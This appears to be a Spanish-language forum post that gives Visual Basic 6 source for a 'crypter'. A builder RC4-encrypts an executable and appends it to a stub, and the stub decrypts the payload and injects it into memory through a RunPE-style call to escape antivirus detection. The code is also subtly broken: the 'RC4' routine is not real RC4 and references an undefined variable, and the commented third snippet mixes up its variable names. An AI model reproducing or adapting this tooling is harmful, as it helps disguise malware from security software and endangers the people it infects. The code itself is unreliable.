Indetectables

Código: Seleccionar todo

Private Sub krypy_Click()
Dim Stub As String, Archivo As String



If txtarchivo.Text = vbNullString Then
MsgBox "Primero debe cargar un archivo para encriptar!", vbExclamation, Me.Caption
Else '

Open App.Path & "\Stub.exe" For Binary As #1
Stub = Space(LOF(1))
Get #1, , Stub
Close #1
Open txtarchivo.Text For Binary As #1
Archivo = Space(LOF(1))
Get #1, , Archivo
Close #1



With CD
        .DialogTitle = "Selecione la ruta donde guardar el archivo encriptado!"
        .Filter = "Aplicaciones EXE|*.exe"
        .ShowSave
        End With
        
        If Not CD.FileName = vbNullString Then
        
        
        Archivo = RC4(Archivo, "ro8oat")
        
        Open CD.FileName For Binary As #1
        Put #1, , Stub & "##$$##" & Archivo & "##$$##"
        Close #1
        
        MsgBox "Archivo Encriptado Correctamente!", vbInformation, Me.Caption
        End If

End If
End Sub

Public Function RC4(ByVal Data As String, ByVal Password As String) As String
On Error Resume Next
Dim F(0 To 255) As Integer, X, Y As Long, Key() As Byte
Key() = StrConv(Password, vbFromUnicode)
For X = 0 To 255
    Y = (Y + F(X) + Key(X Mod Len(Password))) Mod 256
    F(X) = X
Next X
Key() = StrConv(Data, vbFromUnicode)
For X = 0 To Len(Data)
    Y = (Y + F(Y) + 1) Mod 256
    Key(X) = Key(X) Xor F(Temp + F((Y + F(Y)) Mod 254))
Next X
RC4 = StrConv(Key, vbUnicode)
End Function

Código: Seleccionar todo

Sub Main()
Dim YO As String, Datos As String, sData() As String

YO = App.Path & "\" & App.EXEName & ".exe"
Open YO For Binary As #1
Datos = Space(LOF(1))
Get #1, , Datos
Close #1



sData() = Split(Datos, "##$$##")



sData(1) = RC4(sData(1), sData(2))

Injec YO, StrConv(sData(1), vbFromUnicode), vbNullString


End Sub


Public Function RC4(ByVal Data As String, ByVal Password As String) As String
On Error Resume Next
Dim F(0 To 255) As Integer, X, Y As Long, Key() As Byte
Key() = StrConv(Password, vbFromUnicode)
For X = 0 To 255
    Y = (Y + F(X) + Key(X Mod Len(Password))) Mod 256
    F(X) = X
Next X
Key() = StrConv(Data, vbFromUnicode)
For X = 0 To Len(Data)
    Y = (Y + F(Y) + 1) Mod 256
    Key(X) = Key(X) Xor F(Temp + F((Y + F(Y)) Mod 254))
Next X
RC4 = StrConv(Key, vbUnicode)
End Function

Código: Seleccionar todo

'Declaramos las vars.
Dim bDatos()    As Byte
Dim sDatos      As String
Dim sTemp()     As String

'Nos autoabrimos, obtenemos los datos y nos cerramos
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1

    Datos = Space(LOF(1))
    Get #1, , Datos

Close #1

'Usamos la funcion "split" para separar los datos con el delimitador "##$$##"
sTemp() = Split(Datos, "##$$##")

'Desencriptamos el archivo encriptado
sData(1) = RC4(sData(1), "PASS")

'Convertimos el archivo desencriptado y mediante el Runpe  lo cargamos en la memoria
Injec YO, StrConv(sData(1), vbFromUnicode), vbNullString